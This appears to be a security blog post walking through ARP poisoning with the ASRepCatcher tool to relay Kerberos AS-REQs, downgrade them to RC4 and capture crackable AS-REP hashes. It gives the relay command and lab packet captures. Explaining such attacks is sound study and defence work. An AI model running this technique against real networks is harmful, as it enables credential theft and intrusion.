

Obtaining AS-REP hashes through ARP poisoning

 huno.org/security/obtaining-asrep-hashes-through-arp-poisoning

hun

June 25, 2026

► Table of Contents

Introduction

Note: The research and tooling covered in this post are not my original work,. All credit goes to [Yaxxine7](#) for creating the ASRepCatcher tool and doing all the heavy lifting!

AS-REP roasting is a well-documented Kerberos attack where an attacker can obtain and crack hashes for accounts with preauthentication disabled.

However, instead of looking for accounts that manually have preauthentication disabled, ASRepCatcher performs a man-in-the-middle attack between clients and the domain controller, allowing an attacker to obtain AS-REP hashes from authenticating users regardless of whether preauthentication is normally required.

Kerberos Authentication

Before diving into how the attack works, it helps to understand the Kerberos authentication flow at a high level:

1. **Authentication Service Request (AS-REQ):** The client requests authentication from the Key Distribution Center (KDC).
2. **Authentication Service Response (AS-REP):** After validating the client's preauthentication data, the KDC responds with an AS-REP containing a Ticket Granting Ticket (TGT).
3. **Ticket Granting Service Request (TGS-REQ):** The client presents the TGT back to the KDC and requests a ticket for a service.
4. **Ticket Granting Service Response (TGS-REP):** The KDC responds with a Service Ticket (ST) encrypted for the destination service.
5. **Service Authentication:** The client presents the ST to the destination service and gains access.

For this post, I want to focus on the AS-REQ and AS-REP steps.

Preauthentication and AS-REP Roasting

When a client initially sends an AS-REQ message to the KDC, it typically does not provide any data in the PA-DATA section of the request.

Upon receiving the AS-REQ message, the KDC checks whether preauthentication is required for the requesting account. If it is, the KDC returns a KRB5KDC_ERR_PREAUTH_REQUIRED error, and the client must re-submit with a valid timestamp encrypted by the user's password.

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000000	10.81.0.2	10.10.50.3	KRB5	214	AS-REQ
2	0.004663623	10.10.50.3	10.81.0.2	KRB5	213	KRB Error: KRB5KDC_ERR_PREAUTH_REQUIRED
3	8.923721458	10.81.0.2	10.10.50.3	KRB5	294	AS-REQ

Image credit: [mochabyte](#)

If preauthentication is not required for the requesting account, the KDC sends an AS-REP message containing two key structures:

- **ticket:** The TGT encrypted with the KDC's password (KRBTGT hash)
- **enc-part:** Encrypted with the user's password. Contains the session key, among other things, for future use of the included TGT.

AS-REP Roasting specifically targets the enc-part of the AS-REP message.

ARP Poisoning

ARP (Address Resolution Protocol) is a layer 2 protocol that maps IP addresses to MAC addresses on a local network. Since ARP has no authentication, any host can broadcast a spoofed ARP reply claiming to own any IP, and clients will update their ARP cache accordingly. This is known as ARP poisoning, where an attacker can convince clients that their MAC address belongs to another host's IP.

In this context, the attacker claims their own MAC address corresponds with the domain controller's IP address. If successful, victim computers will send AS-REQ messages to the attacker machine, which is then captured and forwarded the actual domain controller to obtain an AS-REP hash.

Using ASRepCatcher

To perform an ARP poisoning attack and obtain AS-REP hashes from authenticating users, start ASRepCatcher in relay mode, as this downgrades Kerberos encryption to RC4, producing a crackable \$krb5asrep\$23\$ hash that makes offline password cracking easier than modern AES-based Kerberos encryption.

```
ASRepCatcher relay -dc 10.0.1.40
```

Once a victim user authenticates via Kerberos, we will obtain and relay their AS-REQ message, relay it to the DC, and obtain their AS-REP hash.

- **Attacker:**
 - IP address: 10.0.1.30
 - MAC address: bc:24:11:e3:8c:8f
- **Domain Controller:**
 - IP address: 10.0.1.40
 - MAC address: bc:24:11:c7:57:7e
- **Victim Machine:**
 - IP address: 10.0.1.41

First, the attacker uses ARP to broadcast messages claiming that their MAC address, bc:24:11:e3:8c:8f, corresponds to the domain controller's IP address, 10.0.1.40.

```

1684 00:28:55.406... ProxmoxServe_e3:8c:8f 02:76:c6:00:f8:db ARP 42 10.0.1.40 is at bc:24:11:e3:8c:8f (duplicate use of 10.0.1.40 detected!)
1685 00:28:55.406... ProxmoxServe_e3:8c:8f ProxmoxServe_ac:c6:cf ARP 42 10.0.1.40 is at bc:24:11:e3:8c:8f (duplicate use of 10.0.1.40 detected!)
1686 00:28:55.407... ProxmoxServe_e3:8c:8f ProxmoxServe_c6:5d:b4 ARP 42 10.0.1.40 is at bc:24:11:e3:8c:8f (duplicate use of 10.0.1.40 detected!)
1687 00:28:55.407... ProxmoxServe_e3:8c:8f ProxmoxServe_ef:fa:92 ARP 42 10.0.1.40 is at bc:24:11:e3:8c:8f (duplicate use of 10.0.1.40 detected!)
1688 00:28:55.407... ProxmoxServe_e3:8c:8f Netgear_9e:15:4e ARP 42 10.0.1.40 is at bc:24:11:e3:8c:8f (duplicate use of 10.0.1.40 detected!)
1689 00:28:55.407... ProxmoxServe_e3:8c:8f MeigaoElectr_7:56:75 ARP 42 10.0.1.40 is at bc:24:11:e3:8c:8f (duplicate use of 10.0.1.40 detected!)
1690 00:28:55.408... ProxmoxServe_e3:8c:8f 00:e2:69:7d:24:dd ARP 42 10.0.1.40 is at bc:24:11:e3:8c:8f (duplicate use of 10.0.1.40 detected!)

```

With the network poisoned, the victim 10.0.1.41 sends an AS-REQ message to 10.0.1.40, which now points to the attacker's MAC address, and is relayed to the domain controller.

```

1746 00:28:56.2... 10.0.1.41 10.0.1.40 KRBS 360 AS-REQ ProxmoxServe_7
1747 00:28:56.2... 10.0.1.40 10.0.1.41 TCP 54 88 → 56117 [ACK] Seq=3929622431 Ack=746724783 Win=64128 Len=0 ProxmoxServe_e
1748 00:28:56.2... 10.0.1.201 10.0.1.30 TCP 66 50091 → 22 [ACK] Seq=2190915664 Ack=1753230586 Win=2048 Len=0 ... 8e:d3:a0:7d:11
1749 00:28:56.2... 10.0.1.30 10.0.1.40 TCP 74 50712 → 88 [SYN] Seq=2920236026 Win=64240 Len=0 MSS=1460 SACK_... ProxmoxServe_e
1750 00:28:56.2... 10.0.1.40 10.0.1.30 TCP 74 88 → 50712 [SYN, ACK] Seq=3419068122 Ack=2920236027 Win=65535 ... ProxmoxServe_c
1751 00:28:56.2... 10.0.1.30 10.0.1.40 TCP 66 50712 → 88 [ACK] Seq=2920236027 Ack=3419068123 Win=64256 Len=0... ProxmoxServe_e
1752 00:28:56.2... 10.0.1.30 10.0.1.40 KRBS 372 AS-REQ ProxmoxServe_e
1753 00:28:56.2... 10.0.1.40 10.0.1.30 KRBS 1723 AS-REP ProxmoxServe_e
1754 00:28:56.2... 10.0.1.30 10.0.1.40 TCP 66 50712 → 88 [ACK] Seq=2920236333 Ack=3419069780 Win=62720 Len=0... ProxmoxServe_c
1755 00:28:56.2... 10.0.1.30 10.0.1.40 TCP 66 50712 → 88 [ACK] Seq=2920236333 Ack=3419069780 Win=62720 Len=0... ProxmoxServe_c

```

Frame 1746: Packet, 360 bytes on wire (2880 bits), 360 bytes captured (2880 bits)
 Ethernet II, Src: ProxmoxServe_7f:4a:84 (bc:24:11:7f:4a:84), Dst: ProxmoxServe_e3:8c:8f (bc:24:11:e3:8c:8f)
 Internet Protocol Version 4, Src: 10.0.1.41, Dst: 10.0.1.40
 Transmission Control Protocol, Src Port: 56117, Dst Port: 88, Seq: 746724477, Ack: 3929622431, Len: 306

After receiving the second AS-REQ message with populated PA-DATA, the attacker downgrades the encryption to RC4 and forwards the request to the real domain controller.

```

1752 00:28:56.2... 10.0.1.30 10.0.1.40 KRBS 372 AS-REQ ProxmoxServe_e
1753 00:28:56.2... 10.0.1.40 10.0.1.30 KRBS 1723 AS-REP ProxmoxServe_e
1754 00:28:56.2... 10.0.1.30 10.0.1.40 TCP 66 50712 → 88 [ACK] Seq=2920236333 Ack=3419069780 Win=62720 Len=0 ProxmoxServe_e

```

Frame 1752: Packet, 372 bytes on wire (2976 bits), 372 bytes captured (2976 bits)
 Ethernet II, Src: ProxmoxServe_e3:8c:8f (bc:24:11:e3:8c:8f), Dst: ProxmoxServe_c7:57:7e (bc:24:11:c7:57:7e)
 Internet Protocol Version 4, Src: 10.0.1.30, Dst: 10.0.1.40
 Transmission Control Protocol, Src Port: 50712, Dst Port: 88, Seq: 2920236027, Ack: 3419068123, Len: 306

Kerberos

- Record Mark: 302 bytes
- 0... .. = Reserved: Not set
- 000 0000 0000 0000 0001 0010 1110 = Record Length: 302
- as-req
 - pvno: 5
 - msg-type: krb-as-req (10)
 - padata: 2 items
 - PA-DATA pA-ENC-TIMESTAMP
 - padata-type: pA-ENC-TIMESTAMP (2)
 - padata-value: 303da003020117a23604342f82cb2b523c23f529bbad5bbe7df02d595af67840773ddf8050ce5c56659509a471fd86e1dcf906f3a0e85dd55d8452fb083b08
 - etype: eTYPE-ARCFOUR-HMAC-MD5 (23)
 - cipher: 2482cb2b523c23f529bbad5bbe7df02d595af67840773ddf8050ce5c56659509a471fd86e1dcf906f3a0e85dd55d8452fb083b08
 - Missing keytype 23 usage 1 (id=missing.1)

The domain controller responds with a TGT and AS-REP hash, which completes the attack.

Once complete, the attacker restores the MAC address associated with the domain controller's IP address.

2256	00:28:58.7...	ProxmoxServe...	Netgear_9e:15:4e	ARP	42	10.0.1.40	is	at	bc:24:11:c7:57:7e
2257	00:28:58.7...	ProxmoxServe...	ProxmoxServe_ac...	ARP	42	10.0.1.40	is	at	bc:24:11:c7:57:7e
2258	00:28:58.7...	ProxmoxServe...	ProxmoxServe_e4...	ARP	42	10.0.1.40	is	at	bc:24:11:c7:57:7e
2259	00:28:58.7...	ProxmoxServe...	ProxmoxServe_c6...	ARP	42	10.0.1.40	is	at	bc:24:11:c7:57:7e
2260	00:28:58.7...	ProxmoxServe...	ProxmoxServe_ef...	ARP	42	10.0.1.40	is	at	bc:24:11:c7:57:7e

Conclusion

Through performing a man-in-the-middle attack, ASRepCatcher demonstrates that AS-REP roasting is no longer limited to accounts that solely have preauthentication disabled. By intercepting and relaying Kerberos authentication, the tool then attempts to downgrade encryption to RC4 and obtain crackable AS-REP hashes from authenticating users, significantly expanding the opportunities for initial access.

References

- <https://github.com/Yaxxine7/ASRepCatcher>
- <https://mochabyte.xyz/2025/11/09/kerberos-love-story/#ticket-exchange-deep-dive>